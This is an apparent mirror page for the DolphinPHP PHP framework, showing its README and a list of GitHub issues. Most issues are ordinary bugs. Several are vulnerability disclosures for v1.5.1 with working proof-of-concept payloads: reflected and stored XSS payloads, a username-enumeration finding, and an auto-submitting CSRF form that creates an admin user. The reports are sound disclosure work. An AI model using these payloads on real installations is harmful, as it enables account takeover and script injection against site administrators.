Code Monkey home page Code Monkey logo

dolphinphp's Introduction

DolphinPHP

DophinPHP(海豚PHP)是一个基于ThinkPHP5.1.41 LTS开发的一套开源PHP快速开发框架,DophinPHP秉承极简、极速、极致的开发理念,为开发集成了基于数据-角色的权限管理机制,集成多种灵活快速构建工具,可方便快速扩展的模块、插件、钩子、数据包。统一了模块、插件、钩子、数据包之间的版本和依赖关系,进一步降低了代码和数据的沉余,以方便开发者快速构建自己的应用。

功能特性

万事俱备-ZBuilder构建神器

使用DophinPHP(海豚PHP)自主开发的ZBuilder类,您可以轻松的应对复杂多变的表单、数据列表。数据列表集成类似EXCEL的快速筛选、排序、模糊搜索、AJAX编辑等功能,表单页集成常用的文本、下拉框、单选、多选、关键词、编辑器、文件上传、图片上传、图片裁切等控件,除此之外,您还可以灵活的扩展自己的控件,以便在自己的项目中重复使用。ZBuilder让您更加专注业务逻辑。

相得益彰-模块化组合

千变万化的事物之间总是有着千丝万缕的关系,在应用开发的时候,不同的功能、模块甚至数据之间也存在各种依赖关系。在保证模块、插件独立的同时,为了降低代码、数据的沉余,我们将每个模块、插件、数据包加上了唯一的标示和版本号以及彼此之间的依赖关系,保证了应用程序的高内聚低耦合。

一举多得-夸平台支持

DophinPHP(海豚PHP)集成BootStrap、JQuery、Xeditable、Select2等优秀的前端开源框架,基于ThinkPHP5出色的性能和REST支持、远程调试和更好的支持API开发。让您可以一次开发即可直接兼容PC、移动设备和微信界面,通过简单的配置即可快速构建属于自己的Android、IOS的APP。

鸣谢

感谢ThinkPHPJQueryBootstrapXeditableSelect2等优秀开源项目。

官方网站

www.dolphinphp.com

版权信息

DolphinPHP提供个人非商业用途免费使用,商业需授权。

本项目包含的第三方源码和二进制文件之版权信息另行标注。

版权所有Copyright © 2016-2022 广东卓锐软件有限公司 (http://www.zrthink.com)

All rights reserved。

更多细节参阅 LICENSE.txt

dolphinphp's People

Contributors

aini758 avatar arnbunchen avatar axiosleo avatar caiweiming avatar codeshif avatar dependabot[bot] avatar devilmengcry avatar fantasticbin avatar g1471 avatar iuyes avatar jiankian avatar keacefull avatar lightrainyuan avatar lilwil avatar liuzeaa avatar mysizeofcn avatar sappan avatar seebyyu avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

dolphinphp's Issues

config 加载调整

行为这块 默认会在 app_begin 执行 config 会导致动态配置的config 无效.

*情景是这样的 如果我后台开启了水印,但是部分上传不需要水印 我可以动态关闭 upload_thumb_water 但是执行行为以后 每次到attachment 都会重新读取配置 导致 config('upload_thumb_water',0) 无效

后台登录页面存在用户名枚举漏洞

1.登录admin账号,增加一个用户名为test的用户。
2.使用test账号加错误密码进行登录会出现“账号或者密码错误”
image
3.使用不存在的账号(这里使用test1),则会出现“用户不存在或被禁用”
image

DolphinPHP v1.5.1 vulnerability, Reflected Cross Site Scripting(XSS)

version:1.5.1
Vulnerability location:Background - > System - > system function - > Attachment management.
Background - > System - > system function - > system log.
Background - > System - > system function - > Behavior management.
image
image
Influence parameters:search_field
payload:test"><img src=x onerror=alert("xss")>
image
image

图片上传bug

当设置缩略图时,并且上传图片过大(测试图片为894K和2.1M),会上传不成功,复现率100%

DolphinPHP v1.5.1 has a vulnerability, Stored Cross Site Scripting(XSS)

version:1.5.1
Vulnerability location:Background - > System - > system function - > configuration management.
image
image
Add a new configuration,and insert payload in the configuration title
payload: t"><img src=x onerror=alert(1)>
image
Save and refresh the page. Pop up window.
image
payload: <img src=x onerror=alert("xss")>
image
image
When you visit this page, a pop-up window will pop up.

自动完成和zbuilder:table的callback冲突

public function setIpAttr(){
return request()->ip();
}
return ZBuilder::make('table')
->addColumns([
['ip','ip地址','callback',function($value){
// 这里的$value 是获取不到值的
return 456;
}],
->fetch();

DolphinPHP v1.5.1 has a vulnerability, Stored Cross Site Scripting(XSS)

version:1.5.1
Vulnerability location:Background - > System - > system function - > configuration management.
image
image
Add a new configuration,and insert payload in the configuration title
payload: t">
image
Save and refresh the page. Pop up window.
image
payload: <img src=x onerror=alert("xss")>
image
image
When you visit this page, a pop-up window will pop up.

bug提交-快速添加密码不能加密

/application/admin/controller/Admin.php
add 方法,password类型保存的时候没有加密,建议加上
foreach ($form['items'] as $item) {
if($item[0]=='password'){
$data[$item[1]]=Hash::make((string)$data[$item[1]]);
}
}

备份数据库失败

创建了视图,会被显示在列表里面。
但备份逻辑应该是只针对table的,若选中视图备份,会失败。

你好,问个zbuild构建table时,在搜索关键字且当前页不为第1页时会搜索不到结果

你好,问个zbuild构建table时,在搜索关键字且当前页不为第1页时会搜索不到结果。

例:
使用zbuild构建当前table,翻页到第6页(大于第一页就行),然后,搜索任何一个关键字,会搜索不到,如果将url中的page=xxx改为page=1就可以搜索 到了。

这是一个小bug吧,当进行搜索时,要将当前的page重置为1才能有结果。这个怎样处理???

Add User Function with CSRF vulnerability

The Add User form without csrf token.
Hacker can use it to add a new user.
Spoofing an administrator to open this page :

<html>
  <body>
    <form action="http://192.168.52.130/public/admin.php/user/index/add.html" method="POST" id="test">
      <input type="hidden" name="username" value="hackertest" />
      <input type="hidden" name="nickname" value="hackertest" />
      <input type="hidden" name="role" value="1" />
      <input type="hidden" name="email" value="qq&#64;aixinwei&#46;wang" />
      <input type="hidden" name="password" value="testtest" />
      <input type="hidden" name="mobile" value="13311111111" />
      <input type="hidden" name="avatar" value="" />
      <input type="hidden" name="status" value="1" />
    </form>
<script>
    var f=document.getElementById("test");
    f.submit();
</script>
  </body>
</html>

suggestion for repairing:add csrf token to the html form.

监听setTrigger 应该加一个清除控制

有的时候 切换显示隐藏并不需要清空隐藏的表单值,

/**
* 设置触发
* @param string $trigger 需要触发的表单项名,目前支持select(单选类型)、text、radio三种
* @param string $values 触发的值
* @param string $show 触发后要显示的表单项名,目前不支持普通联动、范围、拖动排序、静态文本
* @param bool $is_clear 是否清除隐藏表单的值,默认清除
* @author 蔡伟明
* @return $this
*/
public function setTrigger($trigger = '', $values = '', $show = '', $is_clear = true)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.